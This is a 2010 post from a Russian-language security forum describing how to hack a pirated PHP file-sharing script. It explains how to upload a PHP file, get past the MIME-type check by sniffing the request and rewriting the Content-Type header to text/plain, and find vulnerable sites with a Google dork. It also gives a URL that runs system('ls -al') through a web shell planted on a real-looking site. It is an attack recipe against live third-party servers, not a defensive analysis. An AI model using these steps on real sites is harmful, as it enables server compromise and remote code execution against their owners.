HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.09.2010, 20:12
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

Тестил вот этот, зануленый

http://www.nulled.ws/attachment.php?attachmentid=15074&d=1225918711

Реги там нет, сам невижу что там, мне emillord дал ссыль на свой обменик, я захекал

Заливаем .php файл с phpinfo() и скачиваем, предлагает сохранить, но там будет результат

Если скрипт ругается, что недопустимый тип:

Скрипт берёт mime type из массива $_FILES а там mime type берётся из вашего запроса к серверу, сниффаем, меняем

Content-Type: ocet/stream (или чего оно там у вас)

на

Content-Type: text/plain

пых файл заливается, запускается... всё

исходники вам показать немогу, лень и нет у меня их, нет реги на нулледе, но emillord сказал он тама качал

ну как-то так...

===========

дорк inurl:view-file.html?file=

первая ссылка - ломаеца как задумывалось

токо я из phpinfo взял прямой путь, вот

http://www.sharefile.org/storage/1iecwexb3ibhfsc2ubceacg7zwitr5.php?c=echo%20'%3Cpr e%3E';system('ls%20-al');%20exit;

какой-то школьник снёс
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ